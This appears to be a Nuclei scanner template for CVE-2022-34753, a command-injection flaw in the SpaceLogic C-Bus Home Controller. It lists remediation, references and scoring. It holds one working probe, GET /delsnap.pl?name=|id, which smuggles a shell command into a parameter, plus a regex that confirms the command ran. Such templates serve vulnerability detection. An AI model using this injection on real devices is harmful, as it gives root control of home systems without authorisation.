id: CVE-2022-34753 info: name: SpaceLogic C-Bus Home Controller <=1.31.460 - Remote Command Execution author: gy741 severity: high description: | SpaceLogic C-Bus Home Controller through 1.31.460 is susceptible to remote command execution via improper neutralization of special elements. Remote root exploit can be enabled when the command is compromised, and an attacker can potentially execute malware, obtain sensitive information, modify data, and/or gain full control without entering necessary credentials. remediation: | Upgrade SpaceLogic C-Bus Home Controller to a version higher than 1.31.460 to mitigate this vulnerability. reference: - https://www.zeroscience.mk/codes/SpaceLogic.txt - https://download.schneider-electric.com/files?p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2022-193-02_SpaceLogic-C-Bus-Home-Controller-Wiser_MK2_Security_Notification.pdf - http://packetstormsecurity.com/files/167783/Schneider-Electric-SpaceLogic-C-Bus-Home-Controller-5200WHC2-Remote-Root.html - https://nvd.nist.gov/vuln/detail/CVE-2022-34753 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2022-34753 cwe-id: CWE-78 epss-score: 0.96071 epss-percentile: 0.99334 cpe: cpe:2.3:o:schneider-electric:spacelogic_c-bus_home_controller_firmware:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: schneider-electric product: spacelogic_c-bus_home_controller_firmware shodan-query: html:"SpaceLogic C-Bus" tags: cve,cve2022,iot,spacelogic,rce,oast,packetstorm http: - raw: - | GET /delsnap.pl?name=|id HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64('{{username}}:' + '{{password}}')}} matchers-condition: and matchers: - type: regex regex: - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)' - type: status status: - 200 # digest: 4a0a004730450221009a5cbf9b002934d5728ac478f39d700e991a7847431691e76b57f849a3b8df6f02206f821ed07a7d31c02c9619b269f57f639be41f146ca66a777c646b9d1657e01a:922c64590222798bb761d5b6d8e72950